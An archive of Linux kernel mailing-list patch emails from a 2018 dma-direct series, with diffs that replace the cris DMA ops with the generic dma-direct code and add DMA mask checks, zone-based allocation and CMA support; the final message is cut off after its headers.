X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:56259 gmane.linux.kernel.iommu:22048 gmane.linux.ports.alpha:4702 gmane.linux.kernel.arc:3312 gmane.linux.ports.arm.kernel:625027 gmane.linux.ports.hexagon:1528 gmane.linux.ports.ia64:28527 gmane.linux.kernel.metag:1604 gmane.linux.ports.mips.general:63214 gmane.linux.ports.parisc:28203 gmane.linux.ports.ppc64.devel:151851 gmane.linux.ports.sparc:27210 gmane.linux.kernel.cross-arch:41272 gmane.linux.kernel:2662735
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/56259>

cris currently has an incomplete direct mapping dma_map_ops implementation
is PCI support is enabled.  Replace it with the fully feature generic
dma-direct implementation.

Signed-off-by: Christoph Hellwig <hch@lst.de>
Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>
---
 arch/cris/Kconfig                       |  4 ++
 arch/cris/arch-v32/drivers/pci/Makefile |  2 +-
 arch/cris/arch-v32/drivers/pci/dma.c    | 77 ---------------------------------
 arch/cris/include/asm/Kbuild            |  1 +
 arch/cris/include/asm/dma-mapping.h     | 20 ---------
 5 files changed, 6 insertions(+), 98 deletions(-)
 delete mode 100644 arch/cris/arch-v32/drivers/pci/dma.c
 delete mode 100644 arch/cris/include/asm/dma-mapping.h

diff --git a/arch/cris/Kconfig b/arch/cris/Kconfig
index 54d3f426763b..cd5a0865c97f 100644
--- a/arch/cris/Kconfig
+++ b/arch/cris/Kconfig
@@ -33,6 +33,9 @@ config GENERIC_CALIBRATE_DELAY
 config NO_IOPORT_MAP
 	def_bool y if !PCI
 
+config NO_DMA
+	def_bool y if !PCI
+
 config FORCE_MAX_ZONEORDER
 	int
 	default 6
@@ -72,6 +75,7 @@ config CRIS
 	select GENERIC_SCHED_CLOCK if ETRAX_ARCH_V32
 	select HAVE_DEBUG_BUGVERBOSE if ETRAX_ARCH_V32
 	select HAVE_NMI
+	select DMA_DIRECT_OPS if PCI
 
 config HZ
 	int
diff --git a/arch/cris/arch-v32/drivers/pci/Makefile b/arch/cris/arch-v32/drivers/pci/Makefile
index bff7482f2444..93c8be6170b1 100644
--- a/arch/cris/arch-v32/drivers/pci/Makefile
+++ b/arch/cris/arch-v32/drivers/pci/Makefile
@@ -2,4 +2,4 @@
 # Makefile for Etrax cardbus driver
 #
 
-obj-$(CONFIG_ETRAX_CARDBUS)        += bios.o dma.o
+obj-$(CONFIG_ETRAX_CARDBUS)        += bios.o
diff --git a/arch/cris/arch-v32/drivers/pci/dma.c b/arch/cris/arch-v32/drivers/pci/dma.c
deleted file mode 100644
index 8c3802244ef3..000000000000
--- a/arch/cris/arch-v32/drivers/pci/dma.c
+++ /dev/null
@@ -1,77 +0,0 @@
-// SPDX-License-Identifier: GPL-2.0
-/*
- * Dynamic DMA mapping support.
- *
- * On cris there is no hardware dynamic DMA address translation,
- * so consistent alloc/free are merely page allocation/freeing.
- * The rest of the dynamic DMA mapping interface is implemented
- * in asm/pci.h.
- *
- * Borrowed from i386.
- */
-
-#include <linux/types.h>
-#include <linux/mm.h>
-#include <linux/string.h>
-#include <linux/pci.h>
-#include <linux/gfp.h>
-#include <asm/io.h>
-
-static void *v32_dma_alloc(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
-{
-	void *ret;
-
-	if (dev == NULL || (dev->coherent_dma_mask < 0xffffffff))
-		gfp |= GFP_DMA;
-
-	ret = (void *)__get_free_pages(gfp,  get_order(size));
-
-	if (ret != NULL) {
-		memset(ret, 0, size);
-		*dma_handle = virt_to_phys(ret);
-	}
-	return ret;
-}
-
-static void v32_dma_free(struct device *dev, size_t size, void *vaddr,
-		dma_addr_t dma_handle, unsigned long attrs)
-{
-	free_pages((unsigned long)vaddr, get_order(size));
-}
-
-static inline dma_addr_t v32_dma_map_page(struct device *dev,
-		struct page *page, unsigned long offset, size_t size,
-		enum dma_data_direction direction, unsigned long attrs)
-{
-	return page_to_phys(page) + offset;
-}
-
-static inline int v32_dma_map_sg(struct device *dev, struct scatterlist *sg,
-		int nents, enum dma_data_direction direction,
-		unsigned long attrs)
-{
-	printk("Map sg\n");
-	return nents;
-}
-
-static inline int v32_dma_supported(struct device *dev, u64 mask)
-{
-        /*
-         * we fall back to GFP_DMA when the mask isn't all 1s,
-         * so we can't guarantee allocations that must be
-         * within a tighter range than GFP_DMA..
-         */
-        if (mask < 0x00ffffff)
-                return 0;
-	return 1;
-}
-
-const struct dma_map_ops v32_dma_ops = {
-	.alloc			= v32_dma_alloc,
-	.free			= v32_dma_free,
-	.map_page		= v32_dma_map_page,
-	.map_sg                 = v32_dma_map_sg,
-	.dma_supported		= v32_dma_supported,
-};
-EXPORT_SYMBOL(v32_dma_ops);
diff --git a/arch/cris/include/asm/Kbuild b/arch/cris/include/asm/Kbuild
index 460349cb147f..8cf45ac30c1b 100644
--- a/arch/cris/include/asm/Kbuild
+++ b/arch/cris/include/asm/Kbuild
@@ -5,6 +5,7 @@ generic-y += cmpxchg.h
 generic-y += current.h
 generic-y += device.h
 generic-y += div64.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += extable.h
diff --git a/arch/cris/include/asm/dma-mapping.h b/arch/cris/include/asm/dma-mapping.h
deleted file mode 100644
index 1553bdb30a0c..000000000000
--- a/arch/cris/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,20 +0,0 @@
-/* SPDX-License-Identifier: GPL-2.0 */
-#ifndef _ASM_CRIS_DMA_MAPPING_H
-#define _ASM_CRIS_DMA_MAPPING_H
-
-#ifdef CONFIG_PCI
-extern const struct dma_map_ops v32_dma_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &v32_dma_ops;
-}
-#else
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	BUG();
-	return NULL;
-}
-#endif
-
-#endif
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH 31/33] dma-direct: reject too small dma masks
Date: Wed, 10 Jan 2018 09:00:25 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <20180110080027.13879-32-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515571290 27134 195.159.176.226 (10 Jan 2018 08:01:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 08:01:30 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Jan 10 09:01:24 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eZBK0-0006Mo-3c
	for glk-linux-kernel-3@m.gmane.org; Wed, 10 Jan 2018 09:01:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754605AbeAJIDP (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 10 Jan 2018 03:03:15 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:55594 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S965536AbeAJICM (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 10 Jan 2018 03:02:12 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=6gHJAzejuzPCxSNHlsCF3La5tUazsQTiDBdJCkzFyac=; b=aUWBZrXjqFzIDymQbAhGCCCFm
        e3/nQMzcienQMt2GfaWOb6QQEHyIgE5vFbjlcuZ+k6Ic+oZ/ferRmFMTUHfxAMpqBYSol4I6tl5jI
        am9D212a32y6OQW3+TeTBGaSgvz4iPJmf2CXciRZrOGzvd4KlOlHn9QC01BOq3n0h0EvP2RZFCt9J
        6OVnW/uiGg0PFOtf8xUYdMCFXtjXV6fRNI3DmFtm7CGI1Fx4fr2+I3u/zMOwI2YIYPFL0EIkvF0DW
        +Qu+8QFo2Eakd5AXMZq700vDe7TprtqMwvKaMsnyCv63/IsUXEfyetkixVAFnf7ooU6VqnRk1vf58
    
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZBKl-0005p1-Ox; Wed, 10 Jan 2018 08:02:04 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2662736 gmane.linux.kernel.iommu:22049 gmane.linux.ports.alpha:4703 gmane.linux.kernel.arc:3313 gmane.linux.ports.arm.kernel:625028 gmane.linux.ports.hexagon:1529 gmane.linux.ports.ia64:28528 gmane.linux.kernel.metag:1605 gmane.linux.ports.mips.general:63215 gmane.linux.ports.parisc:28204 gmane.linux.ports.ppc64.devel:151852 gmane.linux.ports.sh.devel:56260 gmane.linux.ports.sparc:27211 gmane.linux.kernel.cross-arch:41273
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2662736>

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 include/linux/dma-direct.h |  1 +
 lib/dma-direct.c           | 19 +++++++++++++++++++
 2 files changed, 20 insertions(+)

diff --git a/include/linux/dma-direct.h b/include/linux/dma-direct.h
index 4788bf0bf683..bcdb1a3e4b1f 100644
--- a/include/linux/dma-direct.h
+++ b/include/linux/dma-direct.h
@@ -42,5 +42,6 @@ void *dma_direct_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
 		gfp_t gfp, unsigned long attrs);
 void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
 		dma_addr_t dma_addr, unsigned long attrs);
+int dma_direct_supported(struct device *dev, u64 mask);
 
 #endif /* _LINUX_DMA_DIRECT_H */
diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index 784a68dfdbe3..40b1f92f2214 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -122,6 +122,24 @@ static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
 	return nents;
 }
 
+int dma_direct_supported(struct device *dev, u64 mask)
+{
+#ifdef CONFIG_ZONE_DMA
+	if (mask < DMA_BIT_MASK(ARCH_ZONE_DMA_BITS))
+		return 0;
+#else
+	/*
+	 * Because 32-bit DMA masks are so common we expect every architecture
+	 * to be able to satisfy them - either by not supporting more physical
+	 * memory, or by providing a ZONE_DMA32.  If neither is the case, the
+	 * architecture needs to use an IOMMU instead of the direct mapping.
+	 */
+	if (mask < DMA_BIT_MASK(32))
+		return 0;
+#endif
+	return 1;
+}
+
 static int dma_direct_mapping_error(struct device *dev, dma_addr_t dma_addr)
 {
 	return dma_addr == DIRECT_MAPPING_ERROR;
@@ -132,6 +150,7 @@ const struct dma_map_ops dma_direct_ops = {
 	.free			= dma_direct_free,
 	.map_page		= dma_direct_map_page,
 	.map_sg			= dma_direct_map_sg,
+	.dma_supported		= dma_direct_supported,
 	.mapping_error		= dma_direct_mapping_error,
 };
 EXPORT_SYMBOL(dma_direct_ops);
-- 
2.14.2



From - Thu Nov 08 21:40:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 28/33] dma-direct: add support for allocation from ZONE_DMA and ZONE_DMA32
Date: Wed, 10 Jan 2018 09:00:22 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <20180110080027.13879-29-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515571337 4877 195.159.176.226 (10 Jan 2018 08:02:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 08:02:17 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: sparclinux-owner@vger.kernel.org Wed Jan 10 09:02:11 2018
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1eZBKk-0008QG-Vm
	for lnx-sparclinux@m.gmane.org; Wed, 10 Jan 2018 09:02:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754652AbeAJIEG (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Wed, 10 Jan 2018 03:04:06 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:39591 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933518AbeAJICC (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Wed, 10 Jan 2018 03:02:02 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=KqTQ9gpRM5mdnZ4+PbKZZztFOTdS84gvO3UIDdU61M0=; b=c+7XPZuzmaYBiZFM42qg5MUbT
        PpIabHF1zK/R1yzGongwzx0zA6SCt9/NNOKb38ei7fxpucn+hdS37raX7xiFU5nDktRkTaMbYVNsc
        UVkDTezWgY9WTuK51e7Sl0mA/zf1vpbS3gxECV0i0rcULjtc4qC9oP7+/8qb0Gg53092CwrNvMov6
        zBYSbvN7d2Qwmd4VEbXFvFGwMattmEOHDIQH0M+nw1+xUlbHvlJahYCXzSHNw9P7XyB/kE9D9anai
        9MIgy25RxO4FPwuoyD/2aPsyC8lWn8sYcsP/LC9bHi+nWJFQ5MCVH8K6l2UM6DR2Pq1af9NmhBePK
    
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZBKc-0005bW-Jz; Wed, 10 Jan 2018 08:01:55 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:27212 gmane.linux.kernel.iommu:22050 gmane.linux.ports.alpha:4704 gmane.linux.kernel.arc:3314 gmane.linux.ports.arm.kernel:625029 gmane.linux.ports.hexagon:1530 gmane.linux.ports.ia64:28529 gmane.linux.kernel.metag:1606 gmane.linux.ports.mips.general:63216 gmane.linux.ports.parisc:28205 gmane.linux.ports.ppc64.devel:151853 gmane.linux.ports.sh.devel:56261 gmane.linux.kernel.cross-arch:41274 gmane.linux.kernel:2662737
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/27212>

This allows to dip into zones for lower memory if they are available.
If one of the zones is not available the corresponding GFP_* flag
will evaluate to 0 so they won't change anything.  We provide an
arch tunable for those architectures that do not use GFP_DMA for
the lowest 24-bits, given that there are a few.

Roughly based on the x86 code.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 lib/dma-direct.c | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index f04a424f91fa..8f76032ebc3c 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -12,6 +12,14 @@
 
 #define DIRECT_MAPPING_ERROR		0
 
+/*
+ * Most architectures use ZONE_DMA for the first 16 Megabytes, but
+ * some use it for entirely different regions:
+ */
+#ifndef ARCH_ZONE_DMA_BITS
+#define ARCH_ZONE_DMA_BITS 24
+#endif
+
 static bool
 check_addr(struct device *dev, dma_addr_t dma_addr, size_t size,
 		const char *caller)
@@ -34,6 +42,12 @@ static void *dma_direct_alloc(struct device *dev, size_t size,
 	int page_order = get_order(size);
 	struct page *page = NULL;
 
+	/* GFP_DMA32 and GFP_DMA are no ops without the corresponding zones: */
+	if (dev->coherent_dma_mask <= DMA_BIT_MASK(ARCH_ZONE_DMA_BITS))
+		gfp |= GFP_DMA;
+	if (dev->coherent_dma_mask <= DMA_BIT_MASK(32) && !(gfp & GFP_DMA))
+		gfp |= GFP_DMA32;
+
 	/* CMA can be used only in the context which permits sleeping */
 	if (gfpflags_allow_blocking(gfp))
 		page = dma_alloc_from_contiguous(dev, count, page_order, gfp);
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 26/33] dma-direct: add support for CMA allocation
Date: Wed, 10 Jan 2018 09:00:20 +0100
Lines: 61
Approved: news@gmane.org
Message-ID: <20180110080027.13879-27-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515571369 11690 195.159.176.226 (10 Jan 2018 08:02:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 10 Jan 2018 08:02:49 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Jan 10 09:02:43 2018
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1eZBLP-0002XO-85
	for glpm-linux-m68k@m.gmane.org; Wed, 10 Jan 2018 09:02:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933827AbeAJIEn (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Wed, 10 Jan 2018 03:04:43 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:35249 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933517AbeAJIBy (ORCPT
        <rfc822;linux-m68k@lists.linux-m68k.org>);
        Wed, 10 Jan 2018 03:01:54 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=QXdRAAnfvbZgT4kYEatJrEYKc4m/h5Z2aiNwAgsYFrc=; b=DFOFn9qImioQqe6QoaHOJLHmG
        J/DGfCQvQd5B0q07Tn3VGRnzVchIOCKmxpxh8mgrqJr/PHe3dRFRgHwRaMs3+DqtWQcYauIez5BV+
        LzGuP+4SuAiSJ8gveKnXKKYi/EaLL1fu7TTixo8TkT1QGCbfpprb8agfjUlDUxi/8Kwl0J0/CkO7l
        JA+13SQSPP/gzZeL81I5XGfxNWbV7fBLPJLte3NnB5mTT8tZoy5edZkpbKT9C+AUcTGoEyNG9WhmB
        D6ht5E3XX4bqTrAP1wKyFvYY6Wb4ayFLI2w67r2Q7te5S4ZBSitx2bfHkp6fn6lzXI8B9SkbNx1mq
    
Original-Received: from clnet-p099-196.ikbnet.co.at ([83.175.99.196] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZBKW-0005Sl-S9; Wed, 10 Jan 2018 08:01:49 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180110080027.13879-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9868 gmane.linux.kernel.iommu:22051 gmane.linux.ports.alpha:4705 gmane.linux.kernel.arc:3315 gmane.linux.ports.arm.kernel:625030 gmane.linux.ports.hexagon:1531 gmane.linux.ports.ia64:28530 gmane.linux.kernel.metag:1607 gmane.linux.ports.mips.general:63217 gmane.linux.ports.parisc:28206 gmane.linux.ports.ppc64.devel:151854 gmane.linux.ports.sh.devel:56262 gmane.linux.ports.sparc:27213 gmane.linux.kernel.cross-arch:41275 gmane.linux.kernel:2662738
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9868>

Try the CMA allocator for coherent allocations if supported.

Roughly modelled after the x86 code.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 lib/dma-direct.c | 24 ++++++++++++++++++------
 1 file changed, 18 insertions(+), 6 deletions(-)

diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index 32fd4d9e4c47..a9ae98be7af3 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -7,6 +7,7 @@
 #include <linux/mm.h>
 #include <linux/dma-direct.h>
 #include <linux/scatterlist.h>
+#include <linux/dma-contiguous.h>
 #include <linux/pfn.h>
 
 #define DIRECT_MAPPING_ERROR		0
@@ -29,19 +30,30 @@ check_addr(struct device *dev, dma_addr_t dma_addr, size_t size,
 static void *dma_direct_alloc(struct device *dev, size_t size,
 		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
 {
-	void *ret;
+	unsigned int count = PAGE_ALIGN(size) >> PAGE_SHIFT;
+	int page_order = get_order(size);
+	struct page *page = NULL;
 
-	ret = (void *)__get_free_pages(gfp, get_order(size));
-	if (ret)
-		*dma_handle = phys_to_dma(dev, virt_to_phys(ret));
+	/* CMA can be used only in the context which permits sleeping */
+	if (gfpflags_allow_blocking(gfp))
+		page = dma_alloc_from_contiguous(dev, count, page_order, gfp);
+	if (!page)
+		page = alloc_pages(gfp, page_order);
+	if (!page)
+		return NULL;
 
-	return ret;
+	*dma_handle = phys_to_dma(dev, page_to_phys(page));
+	memset(page_address(page), 0, size);
+	return page_address(page);
 }
 
 static void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
 		dma_addr_t dma_addr, unsigned long attrs)
 {
-	free_pages((unsigned long)cpu_addr, get_order(size));
+	unsigned int count = PAGE_ALIGN(size) >> PAGE_SHIFT;
+
+	if (!dma_release_from_contiguous(dev, virt_to_page(cpu_addr), count))
+		free_pages((unsigned long)cpu_addr, get_order(size));
 }
 
 static dma_addr_t dma_direct_map_page(struct device *dev, struct page *page,
-- 
2.14.2


From - Thu Nov 08 21:40:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 24/33] dma-direct: use phys_to_dma
Date: Wed, 10 Jan 2018 09:00:18 +0100
Lines: 70
Approved: news@gmane.org
Message-ID: <20180110080027.13879-25-hch@lst.de>
References: <20180110080027.13879-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515571434 25636 195.159.176.226 (10 Jan 2018 08:03:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
